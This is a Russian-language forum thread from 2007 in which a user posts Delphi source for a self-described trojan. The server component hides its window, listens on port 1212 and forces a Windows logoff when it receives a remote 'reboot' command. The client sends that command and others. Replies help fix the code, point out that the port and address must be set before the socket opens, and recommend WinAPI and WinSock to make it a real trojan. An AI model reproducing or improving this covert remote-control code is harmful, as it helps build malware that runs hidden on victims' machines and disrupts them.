PDA

Просмотр полной версии : Троян на Delphi


S1nteZ
04.06.2007, 17:15
Я попробовал написать трой на Дельфи и уменя одна проблема:я испытовал трой на себе: включил сервер запускаю клиент ввожу свой внешний IP и он мне говорит 'No address specified' может это из-за порта? Вот код клиента:
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, Sockets, ScktComp;

type
TForm1 = class(TForm)
Button1: TButton;
RadioButton1: TRadioButton;
RadioButton2: TRadioButton;
RadioButton3: TRadioButton;
Edit1: TEdit;
ClientSocket1: TClientSocket;
procedure Button1Click(Sender: TObject);
procedure TcpClient1Connect(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
ClientSocket1.Active:=True;
ClientSocket1.Address:=Edit1.Text;
ClientSocket1.Port:=1212;
end;

procedure TForm1.TcpClient1Connect(Sender: TObject);
begin
If RadioButton1.Checked then ClientSocket1.Socket.SendText('reboot');
If RadioButton2.Checked then ClientSocket1.Socket.SendText('vkl');
If RadioButton3.Checked then ClientSocket1.Socket.SendText('vykl');
end;

end.
А вот сервера:
nit Unit2;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp;

type
TForm1 = class(TForm)
ServerSocket1: TServerSocket;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure FormPaint(Sender: TObject);
procedure ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin
ServerSocket1.Active:=True;
ServerSocket1.Port:=1212;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
ServerSocket1.Active:=False;
end;

procedure TForm1.FormPaint(Sender: TObject);
begin
hide;
end;

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
s:string;
begin
s:=Socket.ReceiveText;
If s='reboot' then ExitWindowsEX(ewx_logoff, ewx_force);
end;

end.

Joker-jar
04.06.2007, 17:25
Сначала адрес и порт, а потом уже открываешь.

З.Ы. А лучше юзай Win API (можно KOL, рулезная весчь) + WinSock. А то троян не получится =)

0x0c0de
04.06.2007, 19:35
Если тестишь на одной машине, то не надо вводить внешний ip. Локальный надо 127.0.0.1

Joker-jar
04.06.2007, 19:42
Повторяю.
ServerSocket1.Active:=True;
ServerSocket1.Port:=1212;
Ошибка. Сначала назначаем порт, а потом уже открываем

Piflit
04.06.2007, 22:04
procedure TForm1.Button1Click(Sender: TObject);
begin
ClientSocket1.Active:=True;
ClientSocket1.Address:=Edit1.Text;
ClientSocket1.Port:=1212;
end;

Ошибка. Сначала назначаем порт, а потом уже открываем


а с клиентом не то же самое?

Joker-jar
05.06.2007, 00:19
Ну конечно. Ато хз к чему конектиться будет

slesh
06.06.2007, 23:00
Народ не тупой. просто навреное рано берется за сложные вещи.
Или не до конца понимает принципа работы.

Gray_f0x
07.06.2007, 18:50
Опа! круто вот с этого кода и начну изучать дельфи , а еще летом книжеки почитаю! Спасибо